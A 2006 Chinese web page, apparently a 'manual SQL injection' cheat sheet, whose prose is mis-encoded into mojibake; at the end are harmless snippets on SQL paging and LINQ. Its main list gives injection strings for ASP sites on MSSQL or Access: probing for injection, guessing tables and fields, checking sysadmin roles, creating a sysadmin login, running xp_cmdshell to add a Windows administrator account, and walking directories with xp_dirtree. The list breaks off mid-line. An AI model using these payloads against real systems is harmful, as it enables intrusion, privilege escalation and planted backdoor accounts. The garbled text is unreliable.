Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

sqlÊÖ¹¤×¢Èë

SQLÊÖ¹¤×¢Èë´óÈ«
2006Äê08ÔÂ11ÈÕ ÐÇÆÚÎå 21:00
±È·½ËµÔÚ²éѯidÊÇ50µÄÊý¾Ýʱ£¬Èç¹ûÓû§´«½üÀ´µÄ²ÎÊýÊÇ50 and 1=1£¬Èç¹ûûÓÐÉèÖùýÂ˵Ļ°£¬¿ÉÒÔÖ±½Ó²é³öÀ´£¬SQL ×¢ÈëÒ»°ãÔÚASP³ÌÐòÖÐÓöµ½×î¶à£¬
¿´¿´ÏÂÃæµÄ
1.ÅжÏÊÇ·ñÓÐ×¢Èë
;and 1=1
;and 1=2
2.³õ²½ÅжÏÊÇ·ñÊÇmssql
;and user>0
3.ÅжÏÊý¾Ý¿âϵͳ
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.×¢Èë²ÎÊýÊÇ×Ö·û
'and [²éѯÌõ¼þ] and ''='
5.ËÑË÷ʱû¹ýÂ˲ÎÊýµÄ
'and [²éѯÌõ¼þ] and '%25'='
6.²ÂÊý¾Ý¿â
;and (select Count(*) from [Êý¾Ý¿âÃû])>0
7.²Â×Ö¶Î
;and (select Count(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)>0
8.²Â×Ö¶ÎÖмǼ³¤¶È
;and (select top 1 len(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)>0
9.(1)²Â×ֶεÄasciiÖµ£¨access£©
;and (select top 1 asc(mid(×Ö¶ÎÃû,1,1)) from Êý¾Ý¿âÃû)>0
(2)²Â×ֶεÄasciiÖµ£¨mssql£©
;and (select top 1 unicode(substring(×Ö¶ÎÃû,1,1)) from Êý¾Ý¿âÃû)>0
10.²âÊÔȨÏ޽ṹ£¨mssql£©
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.Ìí¼ÓmssqlºÍϵͳµÄÕÊ»§
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)±éÀúĿ¼
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('Éϲ½µÃµ½µÄpaths'))>)
(2)±éÀúĿ¼


Ïà¹ØÎĵµ£º

SQL Select N to M Records (single Table)

È¡±íÀïnµ½mÌõ¼Í¼µÄ¼¸ÖÖ·½·¨:
1. Ö»ÐèÒª²éѯǰMÌõÊý¾Ý(0 to M),
1.1 ʹÓà top(M) ·½·¨:
select top(3) * from [tablename]
 
1.2 ʹÓà set rowcount ·½·¨:
http://msdn.microsoft.com/zh-cn/library/ms188774(SQL.90).aspx
set rowcount M
select * from [tablename]
set rowcount 0
ȨÏÞ ÒªÇó¾ßÓÐ public ......

LINQ to SQL ÔÚ Visual Studio 2008 Öеļòµ¥Ó¦ÓÃ


ÔÚ.Net Framework 3.5 ÖУ¬×¶¯ÈËÐĵľÍÊÇÔö¼ÓÁËLINQ¹¦ÄÜ£¬LINQÔÚÊý¾Ý¼¯³ÉµÄ»ù´¡ÉÏÌṩÁËеÄÇáÐÍ·½Ê½¡£ÓÐÁËLINQ£¬ÎÒÃÇ´´½¨µÄ²éѯÏÖÔھͱà³ÌÁË.Net ¿ò¼ÜµÄÒ»¸ö³ÉÔ±£¬ÔÚ¶ÔÒª²Ù×÷µÄÊý¾Ý´æ´¢Ö´Ðвéѯʱ£¬»áºÜ¿ì·¢ÏÖËûÃÇÏÖÔڵIJÙ×÷·½Ê½ÀàËÆÓÚϵͳÖеÄÀàÐÍ¡£Õâ˵Ã÷£¬ÏÖÔÚ¿ÉÒÔʹÓÃÈÎÒâ¼æÈÝ.Net µÄÓïÑÔÀ´²éѯµ×²ãµÄÊý¾Ý´æ´¢£¬Õ ......

SQL ServerÊý¾Ý¿â¸÷¶ÔÏóµÄ×î´óÈÝÁ¿ËµÃ÷

ϱí˵Ã÷ÔÚ Microsoft SQL Server Êý¾Ý¿âÖж¨ÒåµÄ£¬»òÔÚ Transact-SQL
Óï¾äÖÐÒýÓõĸ÷ÖÖ¶ÔÏóµÄ×î´óÖµ£¨ÊýÁ¿»ò´óС£©¡£ÏÂ±í²»°üº¬ Microsoft® SQL Server 2000™ Windows® CE °æ¡£
 
×î´óÖµ£¨ÊýÁ¿»ò´óС£©
¶ÔÏó
SQL Server 7.0
SQL Server 2000
Åú´¦Àí´óС
65,536 * ÍøÂçÊý¾Ý°ü´óС1
65,536 * Í ......

Linq to sqlÔöɾ¸Ä²é

private void button2_Click(object sender, EventArgs e)//Ôö
{
try
{
Customers ct = new Customers();
ct.CustomerID = "test";
ct.CompanyName = "test";
NorthwindDataContext nc = new NorthwindDataContex ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ